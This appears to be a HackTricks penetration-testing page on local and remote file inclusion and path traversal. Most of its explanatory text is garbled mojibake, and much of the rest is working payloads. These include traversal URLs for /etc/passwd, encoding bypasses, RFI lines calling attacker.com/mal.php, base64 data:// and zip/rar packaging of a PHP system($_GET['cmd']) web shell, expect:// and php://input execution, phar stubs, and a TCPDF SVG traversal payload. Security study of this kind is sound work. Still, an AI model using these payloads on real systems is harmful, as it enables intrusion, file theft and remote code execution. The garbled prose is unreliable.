File Inclusion/Path traversal
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
File Inclusion
Remote File Inclusion (RFI): ãã¡ã€ã«ããªã¢ãŒããµãŒãããèªã¿èŸŒãŸããŸãïŒãã¹ãã±ãŒã¹: ããªããã³ãŒããæžãããµãŒãããããå®è¡ããŸãïŒãphpã§ã¯ããã¯ããã©ã«ãã§ç¡å¹ã§ãïŒallow_url_includeïŒã
Local File Inclusion (LFI): ãµãŒããããŒã«ã«ãã¡ã€ã«ãèªã¿èŸŒã¿ãŸãã
ãŠãŒã¶ããµãŒãã«èªã¿èŸŒãŸãããã¡ã€ã«ãäœããã®æ¹æ³ã§å¶åŸ¡ã§ããå Žåã«ããã®è匱æ§ãçºçããŸãã
è匱㪠PHP functions: require, require_once, include, include_once
ãã®è匱æ§ãæªçšããããã®äŸ¿å©ãªããŒã«: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
è€æ°ã® *nix LFI ãªã¹ããçµã¿åãããããã«ãã¹ã远å ããŠãããäœæããŸããïŒ
ãŸã / ã \ ã«å€æŽããŠã¿ãŠãã ãã
ãŸã ../../../../../ ã远å ããŠã¿ãŠãã ãã
è匱æ§ãååšããã確èªããããã« /etc/password ãèŠã€ããããã®ããã€ãã®ææ³ã䜿çšãããªã¹ã㯠ãã¡ã ã«ãããŸã
Windows
ç°ãªã wordlists ã®ããŒãžïŒ
ãŸã / ã \ ã«å€æŽããŠã¿ãŠãã ãã
ãŸã C:/ ãåé€ã㊠../../../../../ ã远å ããŠã¿ãŠãã ãã
è匱æ§ãååšããã確èªããããã« /boot.ini ãèŠã€ããããã®ããã€ãã®ææ³ã䜿çšãããªã¹ã㯠ãã¡ã ã«ãããŸã
OS X
linux ã® LFI ãªã¹ãã確èªããŠãã ããã
Basic LFI and bypasses
ãã¹ãŠã®äŸã¯ Local File Inclusion åãã§ãããRemote File Inclusion ã«ãé©çšã§ããŸã (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
ãã©ããŒãµã«ã·ãŒã±ã³ã¹ãéååž°çã«åé€ããã
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
æäŸãããæååã®æ«å°Ÿã«æåã远å ãããåŠçããã€ãã¹ãã (bypass of: $_GET[âparamâ].âphpâ)
http://example.com/index.php?page=../../../etc/passwd%00
ãã㯠PHP 5.4 以éã§è§£æ±ºãããŠããŸã
ãšã³ã³ãŒãã£ã³ã°
éæšæºã®ãšã³ã³ãŒãã£ã³ã°ïŒdouble URL encode ãªã©ïŒã䜿çšã§ããŸãïŒ
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
ã¢ãã³ãª HTML-to-PDF ãšã³ãžã³ (äŸ: TCPDF ã html2pdf ã®ãããªã©ãããŒ) ã¯ãæ»æè
ãæäŸãã HTMLãSVGãCSSããã©ã³ãã® URL ãåé¡ãªãè§£æããŸããããããã¯ãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããä¿¡é Œãããããã¯ãšã³ããããã¯ãŒã¯å
ã§åäœããŸãã$pdf->writeHTML()/Html2Pdf::writeHTML() ã« HTML ãæ³šå
¥ã§ããããã«ãªããšããŠã§ããµãŒããŒã®ã¢ã«ãŠã³ããèªã¿åããããŒã«ã«ãã¡ã€ã«ãå€éšã«æã¡åºãããšããã°ãã°å¯èœã§ãã
- Fingerprint the renderer: çæããã PDF ã«ã¯å¿
ã
Producerãã£ãŒã«ãïŒäŸ:TCPDF 6.8.2ïŒãå«ãŸããŸããæ£ç¢ºãªãã«ããç¥ãããšã§ãã©ã®ãããªãã¹ãã£ã«ã¿ãååšããããæ€èšŒã®åã« URL ãã³ãŒããè¡ããããã倿ã§ããŸãã - Inline SVG payloads:
TCPDF::startSVGElementHandler()ã¯<image>èŠçŽ ã®xlink:href屿§ãurldecode()ãå®è¡ããåã«èªã¿åããŸããæªæã®ãã SVG ã data URI å ã«åã蟌ããšãå€ãã® HTML ãµãã¿ã€ã¶ã¯ payload ãç¡èŠããŸãããTCPDF ã¯ããã§ãè§£æããŸã:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDFã¯/ã§å§ãŸããã¹ã«$_SERVER['DOCUMENT_ROOT']ãå
ã«ä»å ãã..ã¯åŸã§è§£æ±ºãããããå
é ã«../../..ã»ã°ã¡ã³ãã/../../..ã䜿ã£ãŠä»å åŸã«ã«ãŒããæããŠãã ããã
- Encoding to bypass naive filters: ããŒãžã§ã³ â€6.8.2 ã§ã¯ URL ããã³ãŒãããåã«ãªãã©ã«ã®éšåæåå
../ã®ã¿ããã§ãã¯ããŸããSVG ãçã®<img src>屿§ã«..%2fïŒãŸãã¯..%2FïŒãéããšãã§ãã¯ãåé¿ã§ããŸããå·¡åã®ãããã»ãããã»ã¹ã©ãã·ã¥ã·ãŒã±ã³ã¹ã¯ TCPDF ãurldecode()ãåŒãã åŸã«åããŠåçŸãããããã§ãã - Double-encoding for multi-stage decoding: ãŠãŒã¶ãŒå
¥åã web ãã¬ãŒã ã¯ãŒã¯ãš TCPDF ã®äž¡æ¹ã§ãã³ãŒããããå Žåãã¹ã©ãã·ã¥ãäºéã«ãšã³ã³ãŒãïŒ
%252fïŒããŸãã1 åã®ãã³ãŒãã§%2fã«ãªããTCPDF ã§ã® 2 åç®ã®ãã³ãŒãã§/ã«ãªãã/..%252f..â/../../../âŠãšãªã£ãŠãåæã®ãã£ã«ã¿ãŒã«../ãäžåºŠãèŠããã«æžã¿ãŸãã - HTML
<img>handler:TCPDF::openHTMLTagHandler()ã¯åãé åºã®ãã°ãå«ãã§ãããsrc="%2f..%252f..%252ftmp%252fsecret.png"ã®ãããªçŽæ¥ç㪠HTML ãã€ããŒãã§ããŒã«ã«ã§å°éå¯èœãªãããããããèªã¿åãããããšãã§ããŸãã
ãã®ææ³ã¯ PDF ã¯ãŒã«ãŒãèªã¿åãããã®ïŒpassport scansãAPI keys ãç»åãšããŠã¬ã³ããªã³ã°ããããã®ããªã©ïŒãleaksããŸããHardeners ã¯ãã¹ãæ£èŠåããïŒisRelativePath()ïŒããšã§ 6.9.1 ã§ä¿®æ£ããããããã¹ãæã¯å€ãProducerããŒãžã§ã³ãåªå
ããŠãã ããã
From existent folder
Maybe the back-end is checking the folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
ãµãŒããŒäžã®ãã¡ã€ã«ã·ã¹ãã ãã£ã¬ã¯ããªã®æ¢çŽ¢
ãµãŒããŒã®ãã¡ã€ã«ã·ã¹ãã ã¯ãç¹å®ã®ææ³ãçšããããšã§ãã¡ã€ã«ã ãã§ãªããã£ã¬ã¯ããªãååž°çã«æ¢çŽ¢ã§ããŸãããã®æ¹æ³ã§ã¯ãã£ã¬ã¯ããªã®æ·±ããå€å®ããç¹å®ã®ãã©ã«ãã®ååšã調æ»ããŸãã以äžã¯ãã®è©³çŽ°ãªæé ã§ã:
- ãã£ã¬ã¯ããªã®æ·±ããå€å®ãã: çŸåšã®ãã£ã¬ã¯ããªã®æ·±ãã¯ã
/etc/passwdãæ£åžžã«ååŸã§ãããã§ç¢ºèªããŸãïŒãµãŒããŒã Linux ããŒã¹ã®å Žåã«é©çšïŒãäŸãšããŠã以äžã®ãã㪠URL æ§é ã¯æ·±ããäžã§ããããšã瀺ããŸã:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: URLã«çããããã©ã«ãåïŒäŸ:
privateïŒã远å ãããã®åŸ/etc/passwdã«æ»ã£ãŠã¢ã¯ã»ã¹ããŸãã远å ã®ãã£ã¬ã¯ããªã¬ãã«ããããããdepth ã1ã€å¢ããå¿ èŠããããŸã:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpret the Outcomes: ãµãŒããŒã®å¿çã¯ãã©ã«ããååšãããã©ããã瀺ããŸã:
- Error / No Output: æå®ããå Žæã«
privateãã©ã«ãã¯ååšããªãå¯èœæ§ãé«ãã - Contents of
/etc/passwd:privateãã©ã«ãã®ååšã確èªãããŸãã
- Recursive Exploration: çºèŠãããã©ã«ãã¯ãåãææ³ãåŸæ¥ã® Local File Inclusion (LFI) æ¹æ³ã䜿ã£ãŠãããã«ãµããã£ã¬ã¯ããªããã¡ã€ã«ã調ã¹ãããšãã§ããŸãã
For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if /var/www/ contains a private directory (assuming the current directory is at a depth of 3), use:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncationã¯ãwebã¢ããªã±ãŒã·ã§ã³å ã®ãã¡ã€ã«ãã¹ãæäœããããã«çšããããææ³ã§ããéåžžããã¡ã€ã«ãã¹ã®æ«å°Ÿã«è¿œå ã®æåãä»å ããã»ãã¥ãªãã£å¯Ÿçãåé¿ããŠã¢ã¯ã»ã¹å¶éããããã¡ã€ã«ã«å°éããããã«äœ¿ãããŸããç®çã¯ãã»ãã¥ãªãã£å¯Ÿçã«ãã£ãŠå€æŽãããåŸã§ãäŸç¶ãšããŠç®çã®ãã¡ã€ã«ãæããããªãã¡ã€ã«ãã¹ãäœæããããšã§ãã
In PHPããã¡ã€ã«ã·ã¹ãã ã®æ§è³ªäžããã¡ã€ã«ãã¹ã®ããŸããŸãªè¡šçŸãåçãšèŠãªãããããšããããŸããäŸãã°:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/ã¯ãã¹ãŠåããã¹ãšããŠæ±ãããŸãã- æåŸã®6æåã
passwdã®å Žåã/ã远å ããŠpasswd/ã«ããŠã察象ã®ãã¡ã€ã«ã¯å€ãããŸããã - åæ§ã«ããã¡ã€ã«ãã¹ã«
.phpãä»ããŠããïŒäŸ:shellcode.phpïŒå Žåãæ«å°Ÿã«/.ã远å ããŠãã¢ã¯ã»ã¹ããããã¡ã€ã«ã¯å€ãããŸããã
以äžã®äŸã¯ãpath truncation ãå©çšã㊠/etc/passwd ã«ã¢ã¯ã»ã¹ããæ¹æ³ã瀺ããŠããŸãã/etc/passwd ã¯æ©å¯æ§ã®é«ãå
容ïŒãŠãŒã¶ãŒã¢ã«ãŠã³ãæ
å ±ïŒãå«ããããäžè¬çãªæšçã§ã:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
ãããã®ã·ããªãªã§ã¯ãå¿ èŠãªãã©ããŒãµã«æ°ã¯çŽ2027åã«ãªãããšããããŸããããã®æ°ã¯ãµãŒãã®èšå®ã«ãã£ãŠå€åããŸãã
- ãããã»ã°ã¡ã³ããšè¿œå æåã®äœ¿çš: ãã©ããŒãµã«ã·ãŒã±ã³ã¹ïŒ
../ïŒã«ãããã»ã°ã¡ã³ãã远å ã®æåãçµã¿åãããããšã§ããã¡ã€ã«ã·ã¹ãã ãç§»åã§ãããµãŒããä»å ããæååãå®è³ªçã«ç¡èŠã§ããŸãã - å¿
èŠãªãã©ããŒãµã«æ°ã®æ±ºå®: 詊è¡é¯èª€ã«ãããrootãã£ã¬ã¯ããªã«å°éããŠãã
/etc/passwdã«ãã©ãçãããã«å¿ èŠãªæ£ç¢ºãª../ã®æ°ãèŠã€ããããšãã§ãããµãŒããä»å ããïŒäŸïŒ.phpïŒãããªæååãç¡ååãã€ã€ãç®çã®ãã¹ïŒ/etc/passwdïŒãä¿ãŠãŸãã - ååšããªããã£ã¬ã¯ããªã§éå§ãã: ãã¹ãååšããªããã£ã¬ã¯ããªïŒäŸïŒ
a/ïŒã§å§ããã®ã¯äžè¬çãªææ³ã§ãããã®ãã¯ããã¯ã¯äºé²çãšããŠããŸãã¯ãµãŒãã®ãã¹è§£æããžãã¯ã®èŠä»¶ãæºããããã«äœ¿ãããŸãã
ãã¹ãã©ã³ã±ãŒã·ã§ã³ææ³ãçšããéã¯ããµãŒãã®ãã¹è§£æã®æåããã¡ã€ã«ã·ã¹ãã ã®æ§é ãçè§£ããããšãéèŠã§ããç¶æ³ã«ãã£ãŠåãã¹ãã¢ãããŒãã¯ç°ãªããæãæå¹ãªæ¹æ³ãèŠã€ããã«ã¯ãã¹ããå¿ èŠãªããšãå€ãã§ãã
ãã®è匱æ§ã¯PHP 5.3ã§ä¿®æ£ãããŸããã
ãã£ã«ã¿ãŒãã€ãã¹ã®ããªãã¯
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
phpã§ã¯ãããã¯ããã©ã«ãã§ç¡å¹ã«ãªã£ãŠããŸãããªããªã allow_url_include ã Off. ã«ãªã£ãŠããããã§ããåäœãããã«ã¯ On ã«ããå¿
èŠãããããã®å Žåãããªãã®ãµãŒããŒããPHPãã¡ã€ã«ãincludeããŠRCEãåŸãããšãã§ããŸã:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
ããäœããã®çç±ã§ allow_url_include ã On ã§ãããã PHP ãå€éšãŠã§ãããŒãžãžã®ã¢ã¯ã»ã¹ãfilteringããŠããå Žåããã®æçš¿ã«ããã°ãäŸãã° data protocol ãš base64 ã䜿ã£ãŠ b64 PHP ã³ãŒãããã³ãŒããã egt RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
åã®ã³ãŒãã§ã¯ãæåŸã®
+.txtã¯æ»æè ã.txtã§çµããæååãå¿ èŠãšããŠãããã远å ãããŸãããæååã¯ããã§çµãããb64 decode ã®åŸããã®éšåã¯åãªããžã£ã³ã¯ãè¿ããå®éã® PHP ã³ãŒããå«ãŸããŠïŒãããã£ãŠå®è¡ããïŒãŸãã
å¥ã®äŸ php:// ãããã³ã«ã䜿çšããªã ã¯æ¬¡ã®ãšããã§ãïŒ
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python ã«ãŒãèŠçŽ
pythonã§ã¯ã次ã®ãããªã³ãŒãã®å ŽåïŒ
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
ãŠãŒã¶ãŒã 絶察ãã¹ ã file_name ã«æž¡ããå Žåã以åã®ãã¹ã¯åã«åé€ãããŸã:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
It is the intended behaviour according to the docs:
ã³ã³ããŒãã³ãã絶察ãã¹ã§ããå Žåããã以åã®ãã¹ãŠã®ã³ã³ããŒãã³ãã¯ç Žæ£ãããçµåã¯ãã®çµ¶å¯Ÿãã¹ã®ã³ã³ããŒãã³ãããç¶è¡ãããŸãã
Java ãã£ã¬ã¯ããªäžèЧ
Javaã§Path Traversalãããå Žåã«ããã¡ã€ã«ã®ä»£ããã«ãã£ã¬ã¯ããªãèŠæ±ãããšããã£ã¬ã¯ããªã®äžèЧãè¿ãããããã§ããä»ã®èšèªã§ã¯ïŒç§ã®ç¥ãéãïŒãã®ãããªããšã¯èµ·ããŸããã
äžäœ25ã®ãã©ã¡ãŒã¿
以äžã¯ local file inclusion (LFI) è匱æ§ã®å¯Ÿè±¡ã«ãªãåŸãäžäœ25ã®ãã©ã¡ãŒã¿ã®äžèЧã§ãïŒåºå ž: [link](https://twitter.com/trbughunters/status/1279768631845494787ïŒïŒ:
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI ã䜿ã£ã PHP ã©ãããŒãšãããã³ã«
php://filter
PHP filters ã¯ãããŒã¿ãèªã¿æžããããåã«åºæ¬çãª ä¿®æ£æäœ ãè¡ãããšãå¯èœã«ããŸãããã£ã«ã¿ã«ã¯5ã€ã®ã«ããŽãªããããŸã:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: ããŒã¿ããã¿ã°ãåé€ããïŒâ<â ãš â>â ã®éã«ãããã¹ãŠã®æåïŒ- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: å¥ã®ãšã³ã³ãŒãã£ã³ã°ã«å€æããŸãïŒconvert.iconv.<input_enc>.<output_enc>ïŒããµããŒããããŠãã ãã¹ãŠã®ãšã³ã³ãŒãã£ã³ã°ã®äžèЧ ãååŸããã«ã¯ã³ã³ãœãŒã«ã§æ¬¡ãå®è¡ããŸã:iconv -l
Warning
Abusing the
convert.iconv.*conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: ã³ã³ãã³ããå§çž®ããïŒå€§éã®æ å ±ãå€éšã«åºåããå Žåã«äŸ¿å©ïŒzlib.inflate: ããŒã¿ãå±éãã- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- ãã®ä»ã®ãã£ã«ã¿
- phpã§
var_dump(stream_get_filters());ãå®è¡ãããšãããã€ãã® äºæããªããã£ã«ã¿ ãèŠã€ãããŸã: consumeddechunk: HTTP ã® chunked encoding ãé倿ããconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
ãphp://filterãã¯å€§æåå°æåãåºå¥ããŸãã
Using php filters as oracle to read arbitrary files
In this post ã§ã¯ããµãŒããŒããåºåãçŽæ¥åãåããã«ããŒã«ã«ãã¡ã€ã«ãèªãææ³ãææ¡ãããŠããããã®ææ³ã¯ php filters ããªã©ã¯ã«ãšããŠäœ¿ã£ããã¡ã€ã«ã®ããŒã«åŒ exfiltrationïŒ1æåãã€ïŒ ã«åºã¥ããŠãããããã¯ãphp filters ãããã¹ããååã«å€§ããã㊠php ã«äŸå€ãæããããããã«äœ¿ããããã§ããã
ãªãªãžãã«ã®æçš¿ã«ã¯è©³çްãªèª¬æãããããããã§ã¯ç°¡åãªèŠçŽã瀺ãïŒ
- ã³ãŒããã¯
UCS-4LEã䜿ã£ãŠããã¹ãã®å é æåãæ®ããæååã®ãµã€ãºãææ°çã«å¢å ãããã - ããã«ãããå é æåãæ£ããæšæž¬ããããšãã«éåžžã«å€§ããªããã¹ããçæãããphp ã error ãèµ·ããããã«ããã
- dechunk ãã£ã«ã¿ã¯ å é æåã16鲿°ã§ãªãå Žåã«ãã¹ãŠãåé€ãã ãããå é æåã16鲿°ãã©ãããå€å¥ã§ããã
- ãããšåè¿°ã®ææ³ïŒããã³æšæž¬ããæåã«å¿ããä»ã®ãã£ã«ã¿ïŒãçµã¿åãããããšã§ãå é ã®æåã16鲿°ã§ãªããªããŸã§ååãªå€æãè¡ãã¿ã€ãã³ã°ãèŠãŠãããã¹ãå é ã®æåãæšæž¬ã§ããããªããªãããã16鲿°ã§ããã° dechunk ã¯åé€ãããåæã®ç匟ã«ãã php ãšã©ãŒãçºçããããã§ããã
- ã³ãŒãã㯠convert.iconv.UNICODE.CP930 ã¯åæåãæ¬¡ã®æåã«å€æããïŒã€ãŸã a -> bïŒãããã«ããäŸãã°å
é æåã
aãã©ãããå€å¥ã§ããããªããªããã®ã³ãŒããã¯ã6åé©çšããã° a->b->c->d->e->f->g ãšãªãããã®æåã¯ãã¯ã16鲿°æåã§ã¯ãªããªããdechunk ã¯åé€ãããåæã®çåŒŸãšæãåããã㊠php ãšã©ãŒãçºçããããã§ããã - æåã« rot13 ã®ãããªä»ã®å€æã䜿ãããšã§ãn, o, p, q, r ã®ãããªå¥ã®æåãleakããããšãå¯èœïŒä»ã®ã³ãŒããã¯ã䜿ãã°ä»ã®æåã16鲿°ç¯å²ã«ç§»ããïŒã
- å é ãæ°åã®å Žå㯠base64 ãšã³ã³ãŒããå¿ èŠã§ãæåã®2æåãleakããŠãã®æ°åãå€å¥ããã
- æåŸã®åé¡ã¯ how to leak more than the initial letter ã§ãããconvert.iconv.UTF16.UTF-16BEãconvert.iconv.UCS-4.UCS-4LEãconvert.iconv.UCS-4.UCS-4LE ãšãã£ãé åºã«é¢ããã¡ã¢ãªãã£ã«ã¿ã䜿ãããšã§ãæåã®é åºã倿ŽããŠããã¹ãäžã®å¥ã®æåãå é ã«æã£ãŠããããšãå¯èœã«ãªãã
- ããã«ããŒã¿ãååŸããããã®ã¢ã€ãã¢ã¯ãconvert.iconv.UTF16.UTF16 ã§å é ã« 2 bytes of junk data ãçæããUCS-4LE ãé©çšããŠãããæ¬¡ã®2ãã€ããš pivot ããããžã£ã³ã¯ããŒã¿ãŸã§ããŒã¿ãåé€ããïŒããã«ããåæããã¹ãã®æåã®2ãã€ããåé€ãããïŒãç®çã®ããããleakããäœçœ®ã«å°éãããŸã§ãããç¹°ãè¿ãã
èšäºã§ã¯ãã®åŠçãèªååããããŒã«ãå ¬éãããŠããïŒ php_filters_chain_oracle_exploitã
php://fd
ãã®ã©ãããŒã¯ããã»ã¹ãéããŠãããã¡ã€ã«ãã£ã¹ã¯ãªãã¿ã«ã¢ã¯ã»ã¹ããããšãå¯èœã«ãããéãããŠãããã¡ã€ã«ã®å 容ãå€éšã«æµåºãããã®ã«æçšãªå¯èœæ§ãããïŒ
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
ãŸããphp://stdin, php://stdout and php://stderr ã䜿ã£ãŠããããã file descriptors 0, 1 and 2 ã«ã¢ã¯ã»ã¹ã§ããŸãïŒattackã§ã©ã圹ç«ã€ãã¯äžæïŒ
zip:// and rar://
PHPShellãå
å
ããZipãŸãã¯Rarãã¡ã€ã«ãã¢ããããŒãããŠã¢ã¯ã»ã¹ããŸã.
rar protocol ãæªçšã§ããããã«ããã«ã¯ããããæç€ºçã«æå¹åãããŠããå¿
èŠããããŸã
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
ãã®ãããã³ã«ã¯ php ã®èšå® allow_url_open ããã³ allow_url_include ã«ãã£ãŠå¶éãããŠããããšã«æ³šæããŠãã ãã
expect://
Expect ãæå¹ã«ãªã£ãŠããå¿ èŠããããŸãã以äžã®ããã«ããŠã³ãŒããå®è¡ã§ããŸã:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST parametersã«payloadãæå®ããŠãã ãã:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Webã¢ããªã±ãŒã·ã§ã³ããã¡ã€ã«èªã¿èŸŒã¿ã« include ã®ãããªé¢æ°ã䜿çšããŠããå Žåã.phar ãã¡ã€ã«ãå©çšããŠPHPã³ãŒããå®è¡ã§ããŸãã
äžã®PHPã³ãŒãã¹ãããã㯠.phar ãã¡ã€ã«ã®äœæäŸã瀺ããŠããŸãïŒ
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar ãã¡ã€ã«ãã³ã³ãã€ã«ããã«ã¯ã以äžã®ã³ãã³ããå®è¡ããŠãã ããïŒ
php --define phar.readonly=0 create_path.php
å®è¡ãããšãtest.phar ãšãããã¡ã€ã«ãäœæãããLocal File Inclusion (LFI) ã®è匱æ§ãæªçšããããã«å©çšãããå¯èœæ§ããããŸãã
LFI ã file_get_contents()ãfopen()ãfile()ãfile_exists()ãmd5_file()ãfilemtime()ãfilesize() ãšãã£ã颿°ãéã㊠PHP ã³ãŒããå®è¡ããã«ãã¡ã€ã«ã®èªã¿åãã®ã¿ãè¡ãå Žåãphar ãããã³ã«ãçšãããã¡ã€ã«èªã¿åãã«é¢é£ãã deserialization vulnerability ãæªçšããããšã詊ã¿ãããŸãã
.phar ãã¡ã€ã«ã«ããã deserialization vulnerability ã®æªç𿹿³ã詳ããçè§£ããã«ã¯ãäžã®ããã¥ã¡ã³ããåç
§ããŠãã ãã:
Phar Deserialization Exploitation Guide
CVE-2024-2961
php filters ããµããŒããã PHP ããã® any arbitrary file read ãæªçšã㊠RCE ãååŸããããšãå¯èœã§ããã詳现㯠found in this post.
ç°¡åãªèŠçŽ: PHP ããŒãã® 3 ãã€ãã®ãªãŒããŒãããŒ ãæªçšãããç¹å®ãµã€ãºã®ç©ºããã£ã³ã¯ã®ãã§ãŒã³ã æ¹å€ ããŠä»»æã®ã¢ãã¬ã¹ã« ä»»æã®ããŒã¿ãæžã蟌ãã ããã«ããsystem ãåŒã¶ããã¯ã远å ãããŸããã
ããã«ãããå€ãã® php filters ãæªçšããŠç¹å®ãµã€ãºã®ãã£ã³ã¯ãå²ãåœãŠãããšãå¯èœã§ããã
More protocols
ããå€ãã®å¯èœãª protocols to include here:
- php://memory and php://temp â ã¡ã¢ãªãŸãã¯äžæãã¡ã€ã«ã«æžã蟌ãïŒfile inclusion attack ã«ã©ã®ããã«åœ¹ç«ã€ãã¯äžæïŒ
- file:// â ããŒã«ã«ãã¡ã€ã«ã·ã¹ãã ãžã¢ã¯ã»ã¹
- http:// â HTTP(s) URL ãžã¢ã¯ã»ã¹
- ftp:// â FTP(s) URL ãžã¢ã¯ã»ã¹
- zlib:// â å§çž®ã¹ããªãŒã
- glob:// â ãã¿ãŒã³ã«äžèŽãããã¹åãæ€çŽ¢ïŒè¡šç€ºå¯èœãªåºåãè¿ããªããããããã§ã¯ããŸãæçšã§ã¯ãªãïŒ
